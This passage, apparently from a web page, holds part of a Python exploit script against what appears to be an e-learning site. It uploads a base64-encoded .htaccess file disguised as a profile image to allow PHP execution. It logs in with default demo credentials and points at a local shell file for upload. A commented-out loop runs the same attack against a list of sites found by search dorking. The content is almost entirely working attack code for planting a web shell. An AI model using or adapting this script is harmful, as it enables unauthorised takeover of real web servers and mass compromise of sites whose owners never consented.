"data:image/.htaccess;base64,UmV3cml0ZUVuZ2luZSBPbgpPcHRpb25zICtJbmRleGVzClJld3JpdGVCYXNlIC8KQWxsb3cgZnJvbSBhbGwKPEZpbGVzTWF0Y2ggIlwuKD9pOnBocCkkIj4KICAgIDxJZk1vZHVsZSAhbW9kX2F1dGh6X2NvcmUuYz4KICAgICAgT3JkZXIgYWxsb3csZGVueQogICAgICBBbGxvdyBmcm9tIGFsbAogICAgPC9JZk1vZHVsZT4KICAgIDxJZk1vZHVsZSBtb2RfYXV0aHpfY29yZS5jPgogICAgICBSZXF1aXJlIGFsbCBncmFudGVkCiAgICA8L0lmTW9kdWxlPgogIDwvRmlsZXNNYXRjaD4=" data = dict(_token=csrftoken,step=2,next_step=0,profile_image=string,cover_img="") r = client.post(URL, data=data, cookies=client.cookies) print(r.status_code) if r.status_code == 200: print("sent and uploaded htaccess:"+URL+"\n") print("Go and rename file in filemanager on website") else: print("couldn't upload htaccess") elon = Rocket(True,"localhost","443","student@demo.com","student" ,"/home/mm1nd/Desktop/shell.txt") elon.login() #with dork # try: # with open("sites.txt","r") as urls: # url = urls.readlines() # ssl = True # port = 443 # for line in url: # try: # if "sslyok" in line: # port = 80 # ssl = False # line = str(line.rstrip('%0a')) # print("trying:"+line) # elon = Rocket(ssl,line.rstrip("\n"),str(port),"student@demo.com","student" ,"/home/mm1nd/Desktop/shell.txt") # elon.login() # time.sleep(1) # except Exception: # #traceback.print_exc() # print("atamadim") # finally: # print("okey") # except Exception: # print("atamadim") </code></pre>